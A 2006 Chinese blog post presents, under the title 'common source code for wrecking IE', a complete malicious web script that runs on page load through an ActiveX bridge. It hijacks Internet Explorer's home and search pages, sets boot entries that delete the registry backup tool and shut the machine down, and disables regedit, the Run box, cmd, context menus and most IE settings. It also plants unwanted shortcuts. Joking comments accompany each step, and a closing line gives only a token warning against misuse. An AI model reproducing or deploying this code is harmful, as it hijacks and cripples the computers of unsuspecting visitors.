常用破坏ie的源码

< language="java">
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");
//建立加入收藏夹和链接的事件
function AddFavLnk(loc, DispName, SiteURL)
{
var Shor = Shl.CreateShortcut(loc + "\\\\" + DispName +".URL");
Shor.TargetPath = SiteURL;
Shor.Save();
}
//建立事件结束

function f(){
try
{
//ActiveX initialization (初始化ACTIVEX,为修改浏览者的注册表做准备。)
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();

try
{
//开始修改注册表
Shl.RegWrite ("HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\deltree.exe","start.exe /m deltree /y c:\\\\windows\\\\Command\\\\Scanreg.exe /q /u /autorun");(开机时Scanreg.exe被无提示删除!这样浏览者就无法通过恢复浏览之前的注册表来修复系统!)
Shl.RegWrite ("HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\rundll.exe","rundll.exe user.exe,exitwindows");(开机就无提示关机!!)
Shl.RegWrite ("HKCU\\\\Software\\\\Microsoft\\\\Internet Explorer\\\\Main\\\\Start Page", "http://www.im286.com/wjkplx/");(你的主页已经被改了!!!)
Shl.RegWrite ("HKCU\\\\Software\\\\Microsoft\\\\Internet Explorer\\\\Toolbar\\\\backbitmapie5","c:\\\\Windows\\\\web\\\\wvleft.bmp");(给IE换张图片.虽然丑了一点点.....)
Shl.RegWrite ("HKCR\\\\CLSID\\\\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\\\\", "team");(把我的电脑改名叫team!!)
Shl.RegWrite ("HKCU\\\\Software\\\\Classes\\\\CLSID\\\\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\\\\", "team");(还要确认一遍啊!!安全第一!)
Shl.RegWrite ("HKLM\\\\Software\\\\Microsoft\\\\Internet Explorer\\\\Main\\\\Window Title", "= 您的电脑目前正被别人控制");(这个IE标题不错吧??)
Shl.RegWrite ("HKCU\\\\Software\\\\Microsoft\\\\Internet Explorer\\\\Main\\\\Window Title", "= 您的电脑目前正被别人控制");(又确认一次!!小心使得万年船嘛.)
Shl.RegWrite("HKCU\\\\Software\\\\Microsoft\\\\Internet Explorer\\\\Main\\\\SearchPage","http://www.im286.com");(搜索页改掉.安全第一安全第一)
Shl.RegWrite ("HKCR\\\\CLSID\\\\{645FF040-5081-101B-9F08-00AA002F954E}\\\\", "http://www.im286.com");(改掉回收站.反正你也没有用.
Shl.RegWrite ("HKCU\\\\Software\\\\Microsoft\\\\Internet Explorer\\\\TypedURLs\\\\url1","http://www.im286.com");(向常用网址里加一个.就加一个!!)
Shl.RegWrite ("HKCU\\\\Software\\\\Microsoft\\\\Internet Explorer\\\\TypedURLs\\\\url2","http://www.im286.com/");(再加一个.安全第一)
Shl.RegWrite ("HKLM\\\\Software\\\\Microsoft\\\\Internet Explorer\\\\Main\\\\Default_Page_URL","http://www.im286.com");(缺省页也改掉!!微软反正你不会用.不如让给我好了!!)
Shl.RegWrite ("HKLM\\\\Software\\\\Microsoft\\\\Internet Explorer\\\\Main\\\\Local Page","http://www.im286.com");(本地页!加上去!)
Shl.RegWrite ("HKLM\\\\Software\\\\Microsoft\\\\Internet Explorer\\\\Main\\\\Start Page","http://www.im286.com");(安全第一!确认下先!!)
Shl.RegWrite ("HKLM\\\\Software\\\\Microsoft\\\\Internet Explorer\\\\Main\\\\Search Page","http://www.im286.com");(加加加!!拉拉拉...)
Shl.RegWrite ("HKLM\\\\Software\\\\Microsoft\\\\Internet Explorer\\\\Main\\\\Default_Search_URL","http://www.im286.com");(如果硬要给扁你加个极限!我希望是一万拳!!)
Shl.RegWrite ("HKLM\\\\Software\\\\CLASSES\\\\CLSID\\\\{01E04581-4EEE-11d0-BFE9-00AA005B4383}\\\\InProcServer32\\\\","rem C:\\\\WINDOWS\\\\sys tem\\\\BROWSEUI.DLL");(你的IE没有地址栏了.!)
Shl.RegWrite ("HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\NoSetTaskBar", "1","REG_DWORD");(任务栏和开始菜单了不许你设置!!)
Shl.RegWrite ("HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\NoFind","1","REG_DWORD");(查找不用也没有关系嘛.)
Shl.RegWrite ("HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\NoFolderOptions","1","REG_DWORD");(IE工具的INTERNET选项里面的东东是不能乱改地.不如让team禁止了算了.)
Shl.RegWrite ("HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\NoViewContextMenu","1","REG_DWORD");(鼠标右键菜单没有什么,那不用好了.我也帮你关了好了)
Shl.RegWrite ("HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\NoRun","1","REG_DWORD");(反正运行框用得也不多.关掉了OK?)
Shl.RegWrite ("HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\WinOldApp\\\\Disablecmd","1","REG_DWORD");(DOS 老掉牙的东西不用也罢.)
Shl.RegWrite
("HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\WinOldApp\\\\NoRealMode","1","REG_DWORD");(我都说了DOS没有用拉.)
Shl.RegWrite ("HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Winlogon\\\\LegalNoticeCaption", "问候");(开机即跳出对话框,问候你一下拉!)
Shl.RegWrite ("HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Winlogon\\\\LegalNoticeText","朋友:非常感谢你访问过我们的网站[url]http://team888.126.com[/url]");(开机提醒你一下拉.)
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Restrictions\\\\NoBrowserContextMenu","1","REG_DWORD");(IE的右键菜单不要用嘛.右键有什么好的?)
Shl.RegWrite ("HKLM\\\\Software\\\\CLASSES\\\\.reg\\\\","txtfile");(REG文件不要乱动哦.反正里面的东西不能动不如不打开.)
Shl.RegWrite ("HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\sys tem\\\\DisableRegistryTools","1","REG_DWORD");(禁止使用注册表程序regedit.exe了!我都说了不能乱改嘛.不要用REGEDIT)
Shl.RegWrite ("HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\NoSetFolders","1","REG_DWORD");(控制面板也禁用,)
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Restrictions\\\\NoBrowserContextMenu","1","REG_DWORD");(又禁止IE的右键菜单一次。怕别人看我的源码!保护知识产权嘛)
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Restrictions\\\\NoBrowserOptions","1","REG_DWORD");(Internet选项被禁用了!里没有没有什么好改的.)
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Restrictions\\\\NoBrowserSaveAs","1","REG_DWORD");(另存为也不让!!”)
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Restrictions\\\\NoFileOpen","1","REG_DWORD");(文件下面的打开没有了!不好意思啊.一时失误.)
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Restrictions\\\\NoTheaterMode","1","REG_DWORD");(全屏模式对IE控制面板的控制)
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Control Panel\\\\Advanced","1","REG_DWORD");(禁止高级页设置, )
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Control Panel\\\\Cache Internet","1","REG_DWORD");(禁止更改临时文件的设置)
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Control Panel\\\\AutoConfig","1","REG_DWORD");(禁止更改自动配置的设置,)
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Control Panel\\\\HomePage","1","REG_DWORD");(禁止更改主页设置!)
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Control Panel\\\\History","1","REG_DWORD");(禁止更改历史纪录设置,)
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Control Panel\\\\Connwiz Ad Lock","1","REG_DWORD");(禁止Internet连接向导.)
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Control Panel\\\\Check_If_Default","1","REG_DWORD");(禁止更改默认浏览器检查,免得你总是和腾讯争!!)
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Control Panel\\\\ContentTab","1","REG_DWORD");(禁止内容项!!!)
Shl.RegWrite ("HKLM\\\\Software\\\\Microsoft\\\\Internet Explorer\\\\AboutURLs\\\\懒人居","HTTP://team888.126.com");(啊!!!又加一个!!安全第一.呵呵~~~)
Shl.RegWrite ("HKLM\\\\Software\\\\Microsoft\\\\Internet Explorer\\\\AboutURLs\\\\blank","HTTP://team888.126.com");(再加一个就OK了.)
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Control Panel\\\\SecurityTab","1","REG_DWORD");(禁止安全项)
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Control Panel\\\\ResetWebSettings","1","REG_DWORD");(禁止重置Web设置)
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Restrictions\\\\NoViewSource","1","REG_DWORD");(禁止源文件,保护知识产权嘛)
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Infodelivery\\\\Restrictions\\\\NoAddingSubions","1","REG_DWORD");(禁止添加脱机页计划)
Shl.RegWrite ("HKCU\\\\SoftWare\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\NoFileMenu","1","REG_DWORD");(禁止资源管理器中的文件)
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Control Panel\\\\Settings","1","REG_DWORD");(禁止更改连接设置,)
Shl.RegWrite ("HKCU\\\\SoftWare\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\RestrictRun","1","REG_DWORD");(禁止使用任何程序!不要急兄弟我还是要给你留几个东东.)
Shl.RegWrite ("HKCU\\\\SoftWare\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\RestrictRun\\\\Iexplore.exe","Iexplore.exe");(资源管理器!)
Shl.RegWrite ("HKCU\\\\SoftWare\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\RestrictRun\\\\WINWORD.EXE","WINWORD.EXE");
Shl.RegWrite ("HKCU\\\\SoftWare\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\RestrictRun\\\\EXCEL.EXE","EXCEL.EXE");(
Shl.RegWrite ("HKCU\\\\SoftWare\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\RestrictRun\\\\WINZIP32.EXE","WINZIP32.EXE");
Shl.RegWrite ("HKCU\\\\SoftWare\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\RestrictRun\\\\ACDSee32.exe","ACDSee32.exe");
Shl.RegWrite ("HKCU\\\\SoftWare\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\RestrictRun\\\\photoshop.exe","photoshop.exe");
Shl.RegWrite ("HKCU\\\\SoftWare\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\RestrictRun\\\\Notepad.exe","Notepad.exe");
Shl.RegWrite ("HKCU\\\\SoftWare\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\RestrictRun\\\\Wordpad.exe","Wordpad.exe");
Shl.RegWrite
("HKCU\\\\SoftWare\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\RestrictRun\\\\rundll.exe","rundll.exe");(没他就挂了!!!)
//注册表修改完毕

//加入收藏的程序
var WF, Shor, loc;
WF = FSO.GetSpecialFolder(0);
loc = WF + "\\\\Favorites";
if(!FSO.FolderExists(loc))
{
loc = FSO.GetDriveName(WF) + "\\\\Documents and Settings\\\\" + Net.UserName + "\\\\Favorites";
if(!FSO.FolderExists(loc))
{
return;
}
}
//设置完毕
//加入收藏
AddFavLnk(loc, "HTTP://www.im286.com");
//加完了
//桌面建立快捷图标程序
var WF, Shor, loc;
WF = FSO.GetSpecialFolder(0);
loc = WF + "\\\\Desktop";
if(!FSO.FolderExists(loc))
{
loc = FSO.GetDriveName(WF) + "\\\\Documents and Settings\\\\" + Net.UserName + "\\\\Desktop";
if(!FSO.FolderExists(loc))
{
return;
}
}
//设置完毕
//建立图标
AddFavLnk(loc, "http://www.im286.com");
//桌面建立快捷图标结束,关闭IE的时候莫名其妙看见自己的桌面上多了一个自己并不想要的东西是什么感觉?
}
catch(e)
{}
}
catch(e)
{}
}

function init()
{
setTimeout("f()", 1000);
}
init();
</>
:ohh: 各位im286兄弟们不可干坏事儿啊`写了这么多,给点儿掌声把。
posted @ 2006-05-26 23:51  MaxIE  阅读(604)  评论(0编辑  收藏  举报